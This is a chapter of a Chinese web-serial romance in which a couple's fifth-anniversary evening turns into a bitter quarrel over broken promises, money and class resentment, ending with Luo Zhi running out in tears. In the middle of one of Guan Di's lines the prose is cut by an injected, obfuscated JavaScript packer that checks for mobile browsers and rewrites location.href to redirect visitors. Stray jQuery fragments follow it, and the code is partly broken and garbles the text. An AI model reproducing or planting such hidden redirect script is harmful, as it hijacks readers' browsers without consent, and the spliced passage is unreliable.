15. 第15章

#谈恋爱一定要三思而后行:能不能不谈,能不能明天谈,能不能只看别人谈。


关狄整整晚了一小时才出现,上楼的脚步匆忙,脸上写满疲惫,却连声“对不起”都没有。


“快进来。”他开了锁,径直迈过门槛,直奔冰箱,拧开水瓶,咕噜咕噜灌了几口,像是才活过来一样,随即滔滔不绝地开口了。


“我二姨家的表妹又在学校里惹事了,之前就有把同学打伤的前科,这次倒好,直接被人录下来了,对方家长一口咬死要追责,天,这事你说能小吗?现在校园暴力是多敏感的社会议题,她居然一点危机意识都没有!现在家长要闹大了,怎么办?!”


他痛心疾首,滔滔不绝:“哎,我老早就说二姨的教育方式有问题,挣了点钱就毫无底线地惯养,养得这个表妹一身毛病,看谁不惯就动手,现在好了,出了事又不知道该怎么办,一大家子又哭又闹,我妈只好来找我拿主意……”


他抹了把脸,仿佛处理完一场惊天动地的大案,疲惫中透着某种自我感动,眼里还闪着意犹未尽的光。


“还好我还懂点,跟人家出面交涉,好一番动之以情晓之以理,哎呀你都不知道对方多难缠,主要是这件事我们也有理亏的地方,处理起来更得斟酌小心……”


罗芝站在客厅中央,手里还拎着那个小心翼翼护了一路的蛋糕盒,指节都被塑料绳勒得泛白。


她竭力克制情绪,听完只轻轻问了一句——


“我的花呢?”


关狄一愣:“什么?”


罗芝慢慢伸手:“说好的周年纪念,咱们一个人买蛋糕一个人买花……我的花呢?”


“?”关狄像是听到了什么荒唐的问题,把水瓶往桌上重重一放:“我这不是处理突发事件了吗,都在救火了,哪里还顾得上买那个不实用的东西?再说这花就非买不可吗?高价低效零回报,纯属短期消费,价格还不便宜,同样的钱拿来做更重要的事岂不更好?”


罗芝站在那里,愣愣地看着他。


“你答应了要买花,是用来庆祝五周年的。”罗芝机械地重复。


关狄却摇头,一脸不认同:“你想想,一束花几百块,三天就蔫,意义到底在哪儿?你要真的在乎这个,那我只能说你活得太表面了。”


罗芝站在那里看着他。


她就这么看着关狄理直气壮地、一次又一次地用所谓“实用主义”掩盖行为上的欠缺和失约,看着他大谈经济理论和实用主义,口若悬河,滔滔不绝。


她眼神冷下来,语气缓慢而清晰:“你二姨家的事,为什么要你出面?”


关狄很是讶异,完全不理解罗芝为什么会产生这样的疑问。


他瞪着罗芝:“你是不是根本没搞清楚我今天干了多大的事?要不是我出马,人家闹到教育局去,后果可不堪设想,都得完蛋!我忙着解决问题,你却在计较一束根本不实用的花,你知道你这样有多自私吗?”


到头来,自私的竟然是她罗芝。


罗芝深吸了一口气,终于受不了了。


“你老说买东西要有实用性,好,关狄,我们今天就来谈谈实用性。”


“三个月前你爸妈要搬家,你花了两个星期泡在家电测评里,说好要陪我复习考试,我试都考完了你书还没打开看,你信誓旦旦说买了性价比最高的电器,结果上次去你家,洗碗机根本不好用。”


关狄的脸色沉下来,像被戳到软肋,但嘴上还硬:“你这是什么意思?揪着一个电器说事算什么——别人买的不也一样可能有问题?你怎么不说我跑前跑后为了他们忙成什么样?”


罗芝不为所动:“两个月前,我妈问我们要不要考虑买房。你为了表态,特地去做了贷款评估,结果评完就再也不提——问你就说刚交完房租手头紧,再问就冲我发脾气,说既然一时半会儿凑不出首付那看房也没意义……关狄,我其实一直想问你,房租抵得上首付的零头吗?你租房这些年,我帮你垫过好几次房租,你哪次还过钱?你死要面子不准我提,现在还拿交了房租就没钱付首付这种话来糊弄我,你不心虚吗?”


关狄脸色一片铁青,语气陡然变冷:“说话这么难听干什么!是,你在摩美是赚得多,但你只是个实习生而已,朝不保夕,你还觉得特别可靠了?”


罗芝不理,只是继续数下去:“这次也是一样,今天你二姨家出事,一大家人都指望你,他们一联系你,你就义无反顾冲进去,甚至不会记得跟我说一声你要晚点回来。”


罗芝站起来,面无表情地看着关狄:“我在楼道里等你,我等着我的鲜花和纪念日,我在公司忍受非议,也只能咽下委屈,你却忙着给你二姨家的表妹摆平她的同学家长……你二姨三姨四姨家的事都是你的事,你怎么有那么多事啊,关狄?”


关狄“砰”地站起,脸憋得通红,恼羞成怒道:“翻旧账有什么意思?!也不用拿我表妹说事了,说白了你就是嫌我没钱,看不上我,那你倒是去嫁一个有钱的啊!”


空气在那一瞬间,彻底凝固了。


罗芝盯着关狄,眼里浮现出一丝不可置信:“我嫌你什么了?我什么时候嫌过你没钱?”


“你心里就是这么想的,别以为我不知道!”关狄猛地拍了一下桌子,语气拔高,将心中恶气吐尽:“你清高,看不上我,当然了,你也不光是看不上我,摩美那些同事,你也是避之不及,众人皆醉你独醒,问就是你不愿沾染职场荼毒不愿同流合污这世上就你一朵盛世莲花,你表面装傻充愣,其实心里


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377850|167756||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


觉得谁都配不上你!”


他一步步逼近,嗓音咄咄逼人:“看把你高贵的,上次我妈带你去三姨家,不过走的稍微远了点,你看你当时那个不情愿的脸!”


罗芝泪流满面,气得失声大喊:“我那天鞋子不合脚,磨破皮流了血,我疼都不行吗!?”


“几千块的鞋还能不合脚?”关狄冷笑着吼出来:“都这么有钱了怎么不买双舒服的鞋?罗芝,你穿着别人一个月工资买不起的衣服,拎着别人一年工资买不起的包,还在跟我说你委屈,你倒是会演戏!”


“……”罗芝大口喘气,胸口剧烈起伏。


她气得发抖,全身都在颤。


关狄把他心里最原始的自卑全都甩出来,用最恶毒最粗暴的语言砸向她,每句话都带着刻薄的嘲讽和满腔的怨气,将两人的关系推向不可挽回的深渊。


原本该温馨甜蜜的纪念日,变成一场突如其来的暴风雨,裹挟着愤怒不甘,心酸委屈,而那道不可调和的缝隙,终于彻底裂开了。


沉默如此压抑,让人窒息。


半晌过去,罗芝几乎是颤着声音开口:“说好要一起庆祝,要过一个有仪式感的纪念日……你就是这样对待我们的纪念日的?”


关狄丝毫不让,语气恶劣又强硬:“我早就说了,鲜花蛋糕这玩意儿是情绪性消费,不基于实际需求!你整天把这些东西看得跟命一样,我根本不认同。至于加班,现在都是拼事业的时候,工作最重要,加个班就怎么累着你了?你真是太好命了,过得太顺,才会把一切当成理所当然!”


他声音越来越高,越来越激动:“你知道多少人想来申城送外卖都没资格?你知道多少人辛辛苦苦赚一个月还不如你的零头?你每天吹着空调敲键盘就能拿那么多钱,还有你妈给你铺路,你活在温室里,从来不知道什么叫真正的日子,你还有什么不满意的!”


你还有什么不满意的。


这声质问如一记重锤狠狠砸在罗芝心口。


她猛地闭上眼,指尖几乎掐进掌心。


她终于明白了,她与关狄之间的问题,从来不是一束没买成的花,一盒糊掉的蛋糕,或一个被毁掉的纪念日。


她和关狄,从出生到现在,就站在完全不同的两个世界里。


“是,你穷,所以你有理。全世界就都得让着你。”


罗芝哭着说完最后一句,夺门跑出。


她在大街上奔跑,想把眼泪和烦恼甩掉,却越来越无力,她喘着气停下来,挨在一棵树边,嚎啕大哭。


本想压下现实的疲惫和苦闷,把纪念日好好庆祝过去,哪怕只有一晚,哪怕只有一个蛋糕,一束花,只有片刻的浪漫和梦幻。


都好。


结果还是不能如愿。